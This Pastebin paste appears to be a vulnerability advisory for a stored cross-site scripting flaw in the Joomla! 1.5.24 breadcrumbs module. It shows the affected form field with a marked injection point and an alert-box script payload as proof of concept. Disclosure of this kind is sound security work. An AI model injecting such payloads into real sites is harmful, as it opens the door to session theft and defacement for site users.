cybercode

CMS Joomla! 1.5.24 vulnerability XSS

Feb 24th, 2012
275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
XML 0.87 KB | None | 0 0
  1. # [+] Title :   CMS Joomla! 1.5.24 vulnerability XSS
  2. # [+] Date: 06/11/11
  3. # [+] Software Link: http://aide.joomla.fr/telechargements/joomla-1-5-packages-d-installation-et-patchs/joomla-1-5-24-stable-fr/download
  4. # [+] Version: 1.5.24
  5. # [+] Category : WebApps
  6. # [+] Tested on: [Win 7]
  7. # [+] Vulnerability : Cross Site Scripting
  8.  
  9. ------------------------------------------------
  10. #[+] com_modules : file mod_breadcrumbs.php
  11. -------------------------------------------------
  12.  
  13. #[+] Vuln Code :
  14.  
  15. <tr>
  16. <td class="paramlist_key" width="40%">
  17. <span class="editlinktip"><label id="paramshomeText-lbl" for="paramshomeText" class="hasTip">Texte pour la page d'accueil</label></span>
  18. </td>
  19. <td class="paramlist_value">
  20. <input gtbfieldid="776" name="params[homeText]" id="paramshomeText" value=" <= Injecte Here "<script>alert("XSS")</script> "  class="text_area" type="text"></td>
  21. </tr>
Advertisement
Add Comment
Please, Sign In to add comment